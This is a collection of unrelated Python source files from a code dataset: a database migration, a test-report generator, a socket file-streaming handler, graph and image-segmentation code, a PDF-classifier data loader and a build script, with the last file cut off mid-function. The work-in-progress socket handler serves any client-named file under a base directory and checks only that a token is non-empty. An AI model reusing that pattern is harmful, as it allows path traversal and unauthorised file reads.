at: 2019-04-23 07:29:02\n__doc__ = 'Add description column in the tree\\n\\nRevision ID: 22e6dfb556de\\nRevises: 2b8ed8c1df94\\nCreate Date: 2015-12-04 13:44:42.475652\\n'\nfrom alembic import op, context\nfrom sqlalchemy import Column, Unicode\nrevision = '22e6dfb556de'\ndown_revision = '2b8ed8c1df94'\n\ndef upgrade():\n schema = context.get_context().config.get_main_option('schema')\n op.add_column('layergroup_treeitem', Column('description', Unicode), schema=schema)\n op.add_column('treeitem', Column('description', Unicode), schema=schema)\n\n\ndef downgrade():\n schema = context.get_context().config.get_main_option('schema')\n op.drop_column('layergroup_treeitem', 'description', schema=schema)\n op.drop_column('treeitem', 'description', schema=schema)","sub_path":"pycfiles/c2cgeoportal_admin-2.5.post20190510-py3-none-any/22e6dfb556de_add_description_tree_.py","file_name":"22e6dfb556de_add_description_tree_.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"550664673","text":"import json\nimport os\nfrom itertools import chain\nfrom pathlib import Path\n\nfrom jinja2 import Template\n\nTEMPLATE = Template(\n \"\"\"\n\n\n\n\n\n

SDMX data sources

\n

\n This page shows the results of automatic tests run for the sdmx1 Python package. The\n package includes built-in support for the following known SDMX REST data sources.\n

\n

Notes:

\n{% set run_url=env[\"GITHUB_REPOSITORY\"] + \"/actions/runs/\" + env[\"GITHUB_RUN_ID\"] %}\n
    \n
  1. \n Sources for which only the data resource is tested are those supporting\n SDMX-JSON only. Although the SDMX-JSON standard does specify formats for\n JSON structure messages, sdmx1—and most existing SDMX-JSON-only\n sources—support only data queries.\n
  2. \n
  3. \n If this run was triggered on GitHub Actions, complete logs may be available here.\n
  4. \n
\n\n\n \n \n\n{% for source_id, results in data.items() %}\n\n \n {% for resource in resources %}\n {% set result = results.get(resource) %}\n \n {% endfor %}\n\n{% endfor %}\n
Source\n {% for resource in resources %}\n
{{ resource }}
\n {% endfor %}\n
{{ source_id }}{{ abbrev.get(result) }}
\n\n

Table key:

\n\n\n \n \n\n\n \n \n\n\n \n \n\n\n \n \n\n\n \n \n\n
Pass.
Unexpected failure.
\n

Known/expected failure. See GitHub for any related issue(s).

\n

Includes the case where the data source is known to not implement this resource,\n but replies incorrectly with a 4XX (error) HTTP status code instead of a 501.

\n
\n Data source does not implement this resource and replies correctly to queries with\n a 501 HTTP status code and/or message.\n
No test for this source and resource.
\n\n\n\"\"\"\n)\n\nABBREV = {\n \"not-implemented\": \"\",\n \"pass\": \"✔\",\n \"xfail\": \"✔\",\n \"fail\": \"✘\",\n None: \"—\",\n}\n\n\nclass ServiceReporter:\n \"\"\"Report tests of individual data sources.\"\"\"\n\n def __init__(self, config):\n self.data = {}\n self.resources = set()\n\n def pytest_runtest_makereport(self, item, call):\n try:\n assert call.when == \"call\"\n source_id = item.cls.source_id\n endpoint = item.funcargs[\"endpoint\"]\n except (AssertionError, AttributeError, KeyError):\n return\n\n self.data.setdefault(source_id, dict())\n\n # Compile a list of exception classes associated with xfail marks\n xfail_classes = []\n for m in filter(lambda m: m.name == \"xfail\", item.own_markers):\n try:\n xfail_classes.extend(m.kwargs[\"raises\"]) # Sequence of classes\n except TypeError:\n xfail_classes.append(m.kwargs[\"raises\"]) # Single exception class\n\n try:\n if call.excinfo.type is NotImplementedError:\n result = \"not-implemented\"\n elif xfail_classes:\n result = \"xfail\" if call.excinfo.type in xfail_classes else \"fail\"\n else:\n result = str(call.excinfo.type)\n except AttributeError:\n result = \"pass\"\n\n self.data[source_id][endpoint] = result\n\n def pytest_sessionfinish(self, session, exitstatus):\n \"\"\"Write results for each source to a separate JSON file.\"\"\"\n # Base path for all output\n base_path = session.config.invocation_params.dir.joinpath(\"source-tests\")\n base_path.mkdir(exist_ok=True)\n\n for source_id, data in self.data.items():\n # File path for this particular source\n path = base_path.joinpath(source_id).with_suffix(\".json\")\n # Dump the data for this source only\n with open(path, \"w\") as f:\n json.dump({source_id: data}, f)\n\n\n# TODO add a test of this\nif __name__ == \"__main__\": # pragma: no cover\n \"\"\"Collate results from multiple JSON files.\"\"\"\n base_path = Path.cwd().joinpath(\"source-tests\")\n\n # Locate, read, and merge JSON files\n data = {}\n for path in base_path.glob(\"**/*.json\"):\n # Update `data` with the file contents\n with open(path) as f:\n data.update(json.load(f))\n\n # Remove the JSON file so it is not published\n path.unlink()\n\n # Compile list of resources that were tested\n resources = set(chain(*[v.keys() for v in data.values()]))\n\n # Render and write report\n path_out = base_path.joinpath(\"index.html\")\n with open(path_out, \"w\") as f:\n f.write(\n TEMPLATE.render(\n data=data,\n abbrev=ABBREV,\n resources=sorted(resources),\n env=dict(GITHUB_REPOSITORY=\"\", GITHUB_RUN_ID=\"\") | os.environ,\n )\n )\n","sub_path":"sdmx/testing/report.py","file_name":"report.py","file_ext":"py","file_size_in_byte":5795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"232723274","text":"from CeriumBackend import socketio, settings\nfrom os import path, stat\nfrom CeriumBackend.socket import get_file_max_chunks\nimport base64\nfrom flask import copy_current_request_context\nfrom flask_socketio import emit\nfrom eventlet import sleep\n\n\n@socketio.on(\"get_file_chunk_wip\")\ndef get_file_chunk(input_data):\n @copy_current_request_context\n def do_emit(evnt):\n with open(path.join(settings.BASE_DIR, input_data[\"file\"]), 'rb') as fl:\n max_chunks = get_file_max_chunks(fl)\n curr_chunk = 1\n # if input_data[\"chunk\"] > max_chunks:\n # return {\"status\": \"invalid_chunk\"}\n\n # fl.seek(settings.FILE_CHUNK_SIZE * (input_data[\"chunk\"]-1))\n while curr_chunk <= max_chunks:\n chunk = fl.read(settings.FILE_CHUNK_SIZE)\n data = {\n \"status\": \"chunk\",\n \"file\": input_data[\"file\"],\n \"chunk_num\": curr_chunk,\n \"max_chunks\": max_chunks,\n \"chunk_data\": base64.b64encode(chunk).decode()\n }\n print(input_data[\"file\"], curr_chunk, max_chunks)\n curr_chunk += 1\n sleep(2 if curr_chunk % 1000 == 0 else 0.01)\n emit(evnt, data)\n\n # print(\"got request. \" + input_data)\n if 'token' not in input_data or input_data[\"token\"] == \"\":\n return {\"status\": \"invalid_token\"}\n\n if not path.exists(path.join(settings.BASE_DIR, input_data[\"file\"])):\n return {\"status\": \"no_such_file\"}\n\n # if 'chunk' not in input_data or input_data[\"chunk\"] < 1:\n # return {\"status\": \"invalid_chunk\"}\n\n\n # emit(\"get_file_chunk_wip\", data)\n socketio.start_background_task(do_emit, \"get_file_chunk_wip\")","sub_path":"CeriumBackend/CeriumBackend/socket_wip.py","file_name":"socket_wip.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"265995226","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Feb 11 11:49:30 2018\r\n\r\n@author: BARUWA1\r\n\"\"\"\r\n# def getCombo(sequence, group)\r\n\r\n\r\n#def getAllSubsets(sequence):\r\n# Lists = []\r\n# \r\n# lst[0] = []\r\n# seq = ([] + list(sequence))\r\n# if len(lst) == 1:\r\n# return lst\r\n#\r\n# else:\r\n# for e in range(len(seq)):\r\n# without = seq[0 :e] + seq[e + 1 :]\r\n# only = e\r\n#\r\n#def getAllSubsets(sequence):\r\nsequence = [1,2,3,4]\r\nelem = [[]]\r\n# buffer = []\r\ntemp = elem\r\nprint (temp)\r\n\r\nseq = elem + list(sequence)\r\nprint(seq)\r\n# without = seq[0 :i] + seq[i + 1 :]\r\n# \r\nfor i in range(len(sequence)): \r\n# if i == 0:\r\n# temp += elem\r\n# print(temp)\r\n# else:\r\n# temp.append[seq[i]]\r\n for t in temp:\r\n temp.append(seq[i] + t)\r\n\r\nprint(temp) \r\n \r\n\r\n \r\n \r\n \r\n \r\n ","sub_path":"ps5/powerSet.py","file_name":"powerSet.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"396406345","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport numpy as np\nimport sys\nimport warnings\n\nimport os, socket\nfrom sklearn import datasets\n\ndef to_categorical(y, num_classes=None):\n y = np.array(y, dtype='int').ravel()\n if not num_classes:\n num_classes = np.max(y) + 1\n n = y.shape[0]\n categorical = np.zeros((n, num_classes))\n categorical[np.arange(n), y] = 1\n return categorical\n\n\ndef data_pdf(datadir='/home/yz/data/traintest_all_500test/',\n train_start=0, train_end=13190, test_start=0, test_end=6146,\n attack_start=0, attack_end=1600):\n \"\"\"\n Load and preprocess PDF dataset\n :param datadir: path to folder where data should be stored\n :param train_start: index of first training set example\n :param train_end: index of last training set example\n :param test_start: index of first test set example\n :param test_end: index of last test set example\n :return: tuple of four arrays containing training data, training labels,\n testing data and testing labels.\n \"\"\"\n assert isinstance(train_start, int)\n assert isinstance(train_end, int)\n assert isinstance(test_start, int)\n assert isinstance(test_end, int)\n\n train_data = datadir+'train_data.libsvm'\n X_train, Y_train = datasets.load_svmlight_file(train_data,\n n_features=3514,\n multilabel=False,\n zero_based=False,\n query_id=False)\n\n X_train = X_train.toarray()\n\n test_data = datadir+'test_data.libsvm'\n X_test, Y_test = datasets.load_svmlight_file(test_data,\n n_features=3514,\n multilabel=False,\n zero_based=False,\n query_id=False)\n X_test = X_test.toarray()\n\n attack_data = '/home/yz/code/ext/models/steal_baseline_v2.queries.libsvm'\n X_attack, Y_attack = datasets.load_svmlight_file(attack_data,\n n_features=3514,\n multilabel=False,\n zero_based=False,\n query_id=False)\n X_attack = X_attack.toarray()\n\n # train = np.loadtxt(datadir+\"train_data.csv\", delimiter=\",\")\n # test = np.loadtxt(datadir+\"test_data.csv\", delimiter=\",\")\n # attack = np.loadtxt('/home/yz/code/ext/models/'+\"steal_baseline_v2.csv\", delimiter=\",\")\n # X_train = train[:, 1:]\n # Y_train = train[:, :1].flatten()\n # X_test = test[:, 1:]\n # Y_test = test[:, :1].flatten()\n # X_attack = attack[:, 1:]\n # Y_attack = attack[:, :1].flatten()\n #\n # X_train = X_train[train_start:train_end]\n # Y_train = Y_train[train_start:train_end]\n # X_test = X_test[test_start:test_end]\n # Y_test = Y_test[test_start:test_end]\n # X_attack = X_attack[attack_start:attack_end]\n # Y_attack = Y_attack[attack_start:attack_end]\n\n Y_train = to_categorical(Y_train, 2)\n Y_test = to_categorical(Y_test, 2)\n Y_attack = to_categorical(Y_attack, 2)\n\n print('PDF X_train shape:', X_train.shape)\n print('PDF X_test shape:', X_test.shape)\n print('PDF X_attack shape:', X_attack.shape)\n\n return X_train, Y_train, X_test, Y_test, X_attack, Y_attack\n","sub_path":"utils/utils_pdf.py","file_name":"utils_pdf.py","file_ext":"py","file_size_in_byte":3487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"288940989","text":"######################################################################\n#\n# File: noxfile.py\n#\n# Copyright 2020 Backblaze Inc. All Rights Reserved.\n#\n# License https://www.backblaze.com/using_b2_code.html\n#\n######################################################################\n\nimport os\nimport platform\nimport subprocess\nfrom glob import glob\n\nimport nox\n\nCI = os.environ.get('CI') is not None\nNOX_PYTHONS = os.environ.get('NOX_PYTHONS')\n\nPYTHON_VERSIONS = ['3.5', '3.6', '3.7', '3.8', '3.9'\n ] if NOX_PYTHONS is None else NOX_PYTHONS.split(',')\nPYTHON_DEFAULT_VERSION = PYTHON_VERSIONS[-1]\n\nPY_PATHS = ['b2', 'test', 'noxfile.py', 'setup.py']\n\nREQUIREMENTS_FORMAT = ['yapf==0.27']\nREQUIREMENTS_LINT = ['yapf==0.27', 'pyflakes==2.2.0', 'pytest==6.1.1', 'liccheck==0.4.7']\nREQUIREMENTS_TEST = ['pytest==6.1.1', 'pytest-cov==2.10.1']\nREQUIREMENTS_BUILD = ['setuptools>=20.2']\n\nOSX_BUNDLE_IDENTIFIER = 'com.backblaze.b2'\nOSX_BUNDLE_ENTITLEMENTS = 'contrib/macos/entitlements.plist'\n\nnox.options.reuse_existing_virtualenvs = True\nnox.options.sessions = [\n 'lint',\n 'test',\n]\n\n# In CI, use Python interpreter provided by GitHub Actions\nif CI:\n nox.options.force_venv_backend = 'none'\n\n\ndef install_myself(session, extras=None):\n \"\"\"Install from the source.\"\"\"\n # In CI, install B2 SDK from the master branch\n if CI:\n session.install('git+git://github.com/Backblaze/b2-sdk-python#egg=b2sdk')\n\n arg = '.'\n if extras:\n arg += '[%s]' % ','.join(extras)\n\n session.install('-e', arg)\n\n\n@nox.session(name='format', python=PYTHON_DEFAULT_VERSION)\ndef format_(session):\n \"\"\"Format the code.\"\"\"\n session.install(*REQUIREMENTS_FORMAT)\n # TODO: incremental mode for yapf\n session.run('yapf', '--in-place', '--parallel', '--recursive', *PY_PATHS)\n # TODO: uncomment if we want to use isort and docformatter\n # session.run('isort', *PY_PATHS)\n # session.run(\n # 'docformatter',\n # '--in-place',\n # '--recursive',\n # '--wrap-summaries=100',\n # '--wrap-descriptions=100',\n # *PY_PATHS,\n # )\n\n\n@nox.session(python=PYTHON_DEFAULT_VERSION)\ndef lint(session):\n \"\"\"Run linters.\"\"\"\n install_myself(session)\n session.install(*REQUIREMENTS_LINT)\n session.run('yapf', '--diff', '--parallel', '--recursive', *PY_PATHS)\n # TODO: uncomment if we want to use isort and docformatter\n # session.run('isort', '--check', *PY_PATHS)\n # session.run(\n # 'docformatter',\n # '--check',\n # '--recursive',\n # '--wrap-summaries=100',\n # '--wrap-descriptions=100',\n # *PY_PATHS,\n # )\n\n # TODO: use flake8 instead of pyflakes\n session.log('pyflakes b2')\n output = subprocess.run('pyflakes b2', shell=True, check=False,\n stdout=subprocess.PIPE).stdout.decode().strip()\n excludes = ['__init__.py']\n output = [l for l in output.splitlines() if all(x not in l for x in excludes)]\n if output:\n print('\\n'.join(output))\n session.error('pyflakes has failed')\n # session.run('flake8', *PY_PATHS)\n session.run('pytest', 'test/static')\n session.run('liccheck', '-s', 'setup.cfg')\n\n\n@nox.session(python=PYTHON_VERSIONS)\ndef unit(session):\n \"\"\"Run unit tests.\"\"\"\n install_myself(session)\n session.install(*REQUIREMENTS_TEST)\n session.run(\n 'pytest', '--cov=b2', '--cov-branch', '--cov-report=xml', '--doctest-modules',\n *session.posargs, 'test/unit'\n )\n if not session.posargs:\n session.notify('cover')\n\n\n@nox.session(python=PYTHON_VERSIONS)\ndef integration(session):\n \"\"\"Run integration tests.\"\"\"\n install_myself(session)\n session.install(*REQUIREMENTS_TEST)\n session.run('pytest', '-s', *session.posargs, 'test/integration')\n\n\n@nox.session(python=PYTHON_VERSIONS)\ndef test(session):\n \"\"\"Run all tests.\"\"\"\n if session.python:\n session.notify('unit-{}'.format(session.python))\n session.notify('integration-{}'.format(session.python))\n else:\n session.notify('unit')\n session.notify('integration')\n\n\n@nox.session\ndef cover(session):\n \"\"\"Perform coverage analysis.\"\"\"\n session.install('coverage')\n session.run('coverage', 'report', '--fail-under=75', '--show-missing', '--skip-covered')\n session.run('coverage', 'erase')\n\n\n@nox.session(python=PYTHON_DEFAULT_VERSION)\ndef build(session):\n \"\"\"Build the distribution.\"\"\"\n # TODO: consider using wheel as well\n session.install(*REQUIREMENTS_BUILD)\n session.run('python', 'setup.py', 'check', '--metadata', '--strict')\n session.run('rm', '-rf', 'build', 'dist', 'b2.egg-info', external=True)\n session.run('python', 'setup.py', 'sdist', *session.posargs)\n\n # Set outputs for GitHub Actions\n if CI:\n asset_path = glob('dist/*')[0]\n print('::set-output name=asset_path::', asset_path, sep='')\n\n asset_name = os.path.basename(asset_path)\n print('::set-output name=asset_name::', asset_name, sep='')\n\n version = os.environ['GITHUB_REF'].replace('refs/tags/v', '')\n print('::set-output name=version::', version, sep='')\n\n\n@nox.session(python=PYTHON_DEFAULT_VERSION)\ndef bundle(session):\n \"\"\"Bundle the distribution.\"\"\"\n session.install('pyinstaller')\n session.run('rm', '-rf', 'build', 'dist', 'b2.egg-info', external=True)\n install_myself(session)\n\n system = platform.system().lower()\n\n if system == 'darwin':\n session.posargs.extend(['--osx-bundle-identifier', OSX_BUNDLE_IDENTIFIER])\n\n session.run('pyinstaller', '--onefile', *session.posargs, 'b2.spec')\n\n # Set outputs for GitHub Actions\n if CI:\n asset_path = glob('dist/*')[0]\n print('::set-output name=asset_path::', asset_path, sep='')\n\n name, ext = os.path.splitext(os.path.basename(asset_path))\n asset_name = '{}-{}{}'.format(name, system, ext)\n print('::set-output name=asset_name::', asset_name, sep='')\n\n\n@nox.session(python=False)\ndef sign(session):\n \"\"\"Sign the bundled distribution (OSX only).\"\"\"\n system = platform.system().lower()\n\n if system != 'darwin':\n session.skip('signing process is for OSX only')\n\n session.run('security', 'find-identity', external=True)\n session.run(\n 'codesign',\n '--deep',\n '--force',\n '--verbose',\n '--timestamp',\n '--identifier',\n OSX_BUNDLE_IDENTIFIER,\n '--entitlements',\n OSX_BUNDLE_ENTITLEMENTS,\n '--options',\n 'runtime',\n *session.posargs,\n 'dist/b2',\n external=True\n )\n session.run('codesign', '--verify', '--verbose', 'dist/b2', external=True)\n\n\n@nox.session(python=PYTHON_DEFAULT_VERSION)\ndef doc(session):\n \"\"\"Build the documentation.\"\"\"\n install_myself(session, extras=['doc'])\n session.cd('doc')\n sphinx_args = ['-b', 'html', '-T', '-W', 'source', 'build/html']\n session.run('rm', '-rf', 'build', external=True)\n\n if not session.interactive:\n session.run('sphinx-build', *sphinx_args)\n session.notify('doc_cover')\n else:\n sphinx_args[-2:-2] = [\n '-E', '--open-browser', '--watch', '../b2', '--ignore', '*.pyc', '--ignore', '*~'\n ]\n session.run('sphinx-autobuild', *sphinx_args)\n\n\n@nox.session\ndef doc_cover(session):\n \"\"\"Perform coverage analysis for the documentation.\"\"\"\n install_myself(session, extras=['doc'])\n session.cd('doc')\n sphinx_args = ['-b', 'coverage', '-T', '-W', 'source', 'build/coverage']\n report_file = 'build/coverage/python.txt'\n session.run('sphinx-build', *sphinx_args)\n session.run('cat', report_file, external=True)\n\n with open('build/coverage/python.txt') as fd:\n # If there is no undocumented files, the report should have only 2 lines (header)\n if sum(1 for _ in fd) != 2:\n session.error('sphinx coverage has failed')\n","sub_path":"noxfile.py","file_name":"noxfile.py","file_ext":"py","file_size_in_byte":7866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"288010746","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jan 22 17:59:41 2019\n\n@author: skand\n\"\"\"\n\n# =============================================================================\n# Dijkstra's algorithm for shortest path from source\n# implementing heapq library\n# =============================================================================\n\nimport heapq\nimport math\n\nclass Graph:\n def __init__(self, edges = []):\n self.nodes = set()\n self.edges = edges\n for edge in edges:\n self.nodes.add(edge[0])\n self.nodes.add(edge[1])\n self.next = {n:set() for n in self.nodes}\n for edge in edges:\n self.next[edge[0]].add((edge[1], edge[2]))\n self.next[edge[1]].add((edge[0], edge[2]))\n \n \ndef Dijkstra(g, s):\n dist = {}\n res = []\n seen = set()\n q = []\n heapq.heapify(q)\n for node in g.nodes:\n if node != s:\n heapq.heappush(q, (math.inf, node, None))\n dist[node] = math.inf\n else:\n heapq.heappush(q, (0, s, None))\n dist[s] = 0\n \n while len(q) > 0:\n cur_dist, u, pred = heapq.heappop(q)\n if u in seen: continue\n seen.add(u)\n res.append((pred, u, cur_dist))\n for v, edge_dist in g.next[u]:\n if v in seen: continue\n if (cur_dist + edge_dist) < dist[v]:\n dist[v] = cur_dist + edge_dist\n heapq.heappush(q, (dist[v], v, u))\n return res\n\ndef test():\n edges = [('s','a',5),\n ('s','b',9),\n ('s','f',6),\n ('a','b',7),\n ('b','e',7),\n ('e','f',8),\n ('s','e',15),\n ('f','g',11),\n ('e','c',5),\n ('b','c',8),]\n G = Graph(edges)\n \n return Dijkstra(G,'s')\n","sub_path":"Algorithms/Python/dijkstra.py","file_name":"dijkstra.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"627724724","text":"#coding:utf-8\nimport matplotlib\nmatplotlib.use(\"Agg\")\nimport matplotlib.pyplot as plt\nimport argparse\nimport numpy as np\nfrom keras.models import Sequential,load_model\nfrom keras.layers import Conv2D,MaxPooling2D,UpSampling2D,BatchNormalization,Reshape,Permute,Activation\nfrom keras.utils.np_utils import to_categorical\n\nfrom keras.preprocessing.image import img_to_array\nfrom keras.callbacks import ModelCheckpoint\nfrom sklearn.preprocessing import LabelEncoder\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport cv2\nimport random\nimport os\nimport sys\nfrom tqdm import tqdm\nfrom keras.utils.training_utils import multi_gpu_model\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"2\"\nseed = 7\nnp.random.seed(seed)\n\n# data_shape = 256*4256\nimg_w = 256\nimg_h = 256\n\n# 有一个为背景\nn_label = 2 + 1\n# classes = [0., 1., 2.]\n\n# n_label = 1\n# classes = [0., 1.]\n\n# labelencoder = LabelEncoder()\n# labelencoder.fit(classes)\n\n# add by qiaozh 20180404\nfrom keras import backend as K\n# K.set_image_dim_ordering('th')\nK.set_image_dim_ordering('tf')\n# model_save_path = '../../data/models/segnet_channel_first.h5' # for channel_first\nmodel_save_path = '../../data/models/segnet_multiclass.h5' # for channel_first\n\n\ntrain_data_path = '../../data/traindata/all/multiclass/'\n\n\n\ndef SegNet():\n model = Sequential()\n #encoder\n # model.add(Conv2D(64,(3,3),strides=(1,1),input_shape=(3,img_w,img_h),padding='same',activation='relu'))\n model.add(Conv2D(64, (3, 3), strides=(1, 1), input_shape=(img_w, img_h, 3), padding='same', activation='relu')) # for channels_last\n model.add(BatchNormalization())\n model.add(Conv2D(64,(3,3),strides=(1,1),padding='same',activation='relu'))\n model.add(BatchNormalization())\n model.add(MaxPooling2D(pool_size=(2,2)))\n\n #(128,128)\n model.add(Conv2D(128, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(Conv2D(128, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(MaxPooling2D(pool_size=(2, 2)))\n\n #(64,64)\n model.add(Conv2D(256, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(Conv2D(256, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(Conv2D(256, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(MaxPooling2D(pool_size=(2, 2)))\n\n #(32,32)\n model.add(Conv2D(512, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(Conv2D(512, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(Conv2D(512, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(MaxPooling2D(pool_size=(2, 2)))\n\n #(16,16)\n model.add(Conv2D(512, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(Conv2D(512, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(Conv2D(512, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(MaxPooling2D(pool_size=(2, 2)))\n\n #(8,8)\n #decoder\n model.add(UpSampling2D(size=(2,2)))\n #(16,16)\n model.add(Conv2D(512, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(Conv2D(512, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(Conv2D(512, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(UpSampling2D(size=(2, 2)))\n\n #(32,32)\n model.add(Conv2D(512, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(Conv2D(512, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(Conv2D(512, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(UpSampling2D(size=(2, 2)))\n\n #(64,64)\n model.add(Conv2D(256, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(Conv2D(256, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(Conv2D(256, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(UpSampling2D(size=(2, 2)))\n\n #(128,128)\n model.add(Conv2D(128, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(Conv2D(128, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(UpSampling2D(size=(2, 2)))\n\n #(256,256)\n # model.add(Conv2D(64, (3, 3), strides=(1, 1), input_shape=(3,img_w, img_h), padding='same', activation='relu'))\n model.add(Conv2D(64, (3, 3), strides=(1, 1), input_shape=(img_w, img_h, 3), padding='same', activation='relu')) # for channels_last\n model.add(BatchNormalization())\n model.add(Conv2D(64, (3, 3), strides=(1, 1), padding='same', activation='relu'))\n model.add(BatchNormalization())\n model.add(Conv2D(n_label, (1, 1), strides=(1, 1), padding='same'))\n # model.add(Reshape((n_label,img_w*img_h)))\n model.add(Reshape((img_w * img_h, n_label)))\n\n #axis=1和axis=2互换位置,等同于np.swapaxes(layer,1,2)\n # model.add(Permute((2,1)))\n model.add(Activation('softmax'))\n model.compile(loss='categorical_crossentropy',optimizer='sgd',metrics=['accuracy'])\n model.summary()\n return model\n\n\ndef get_train_val(val_rate=0.25):\n train_url = []\n train_set = []\n val_set = []\n for pic in os.listdir(train_data_path + 'src'):\n train_url.append(pic)\n random.shuffle(train_url)\n total_num = len(train_url)\n val_num = int(val_rate * total_num)\n for i in range(len(train_url)):\n if i < val_num:\n val_set.append(train_url[i])\n else:\n train_set.append(train_url[i])\n return train_set, val_set\n\n\ndef load_img(path, grayscale=False):\n if grayscale:\n img = cv2.imread(path, cv2.IMREAD_GRAYSCALE)\n else:\n img = cv2.imread(path)\n img = np.array(img, dtype=\"float\") / 255.0\n return img\n\n\n\ndef generateData(batch_size,data=[]):\n \"\"\"\n\n :param batch_size: the number of training images in one batch\n :param data: list of training image file_names\n :return: yield (train_data, train_label)\n \"\"\"\n #print 'generateData...'\n while True:\n train_data = []\n train_label = []\n batch = 0\n for i in (range(len(data))):\n url = data[i]\n batch += 1\n img = load_img(train_data_path + 'src/' + url)\n\n # Using \"img_to_array\" to convert the dimensions ordering automatically\n img = img_to_array(img)\n\n train_data.append(img)\n label = load_img(train_data_path + 'label/' + url, grayscale=True)\n label = img_to_array(label).reshape((img_w * img_h,))\n # print label.shape\n train_label.append(label)\n\n if batch % batch_size==0:\n #print 'get enough bacth!\\n'\n train_data = np.array(train_data)\n train_label = np.array(train_label).flatten()\n # train_label = labelencoder.transform(train_label)\n train_label = to_categorical(train_label, num_classes=n_label)\n train_label = train_label.reshape((batch_size, img_w * img_h, n_label))\n yield (train_data, train_label)\n train_data = []\n train_label = []\n batch = 0\n\n# data for validation\ndef generateValidData(batch_size,data=[]):\n \"\"\"\n\n :param batch_size: the number of training images in one batch\n :param data: list of validating image file_names\n :return: yield (valid_data,valid_label)\n \"\"\"\n #print 'generateValidData...'\n while True:\n valid_data = []\n valid_label = []\n batch = 0\n for i in (range(len(data))):\n url = data[i]\n batch += 1\n img = load_img(train_data_path + 'src/' + url)\n img = img_to_array(img)\n valid_data.append(img)\n label = load_img(train_data_path + 'label/' + url, grayscale=True)\n label = img_to_array(label).reshape((img_w * img_h,))\n # print label.shape\n valid_label.append(label)\n if batch % batch_size==0:\n valid_data = np.array(valid_data)\n valid_label = np.array(valid_label).flatten()\n # valid_label = labelencoder.transform(valid_label)\n valid_label = to_categorical(valid_label, num_classes=n_label)\n valid_label = valid_label.reshape((batch_size,img_w * img_h,n_label))\n yield (valid_data,valid_label)\n valid_data = []\n valid_label = []\n batch = 0\n\n\ndef segnet_train():\n \"\"\"\n :return: a history object which contains the process of train,\n such as the change of loss or other index\n \"\"\"\n EPOCHS = 20\n BS = 16\n model = SegNet()\n # model = multi_gpu_model(model, gpus=4)\n modelcheck = ModelCheckpoint(model_save_path,\n monitor='val_acc',\n save_best_only=True,\n mode='max')\n callable = [modelcheck]\n train_set, val_set = get_train_val()\n train_numb = len(train_set)\n valid_numb = len(val_set)\n print (\"the number of train data is\", train_numb)\n print (\"the number of val data is\", valid_numb)\n\n H = model.fit_generator(generator=generateData(BS, train_set),\n steps_per_epoch=train_numb // BS,\n epochs=EPOCHS,\n verbose=1,\n validation_data=generateValidData(BS, val_set),\n validation_steps=valid_numb // BS,\n callbacks=callable,\n max_q_size=1)\n\n\"\"\"\nthis function only for test\n\"\"\"\nwindow_size=256\n\ndef segnet_predict(image,model):\n stride = window_size\n\n h, w, _ = image.shape\n print('h,w:', h, w)\n padding_h = (h // stride + 1) * stride\n padding_w = (w // stride + 1) * stride\n padding_img = np.zeros((padding_h, padding_w, 3))\n padding_img[0:h, 0:w, :] = image[:, :, :]\n\n padding_img = img_to_array(padding_img)\n\n mask_whole = np.zeros((padding_h, padding_w), dtype=np.float32)\n for i in list(range(padding_h // stride)):\n for j in list(range(padding_w // stride)):\n crop = padding_img[i * stride:i * stride + window_size, j * stride:j * stride + window_size, :3]\n\n crop = np.expand_dims(crop, axis=0)\n print('crop:{}'.format(crop.shape))\n\n # pred = model.predict_classes(crop, verbose=2)\n # pred = 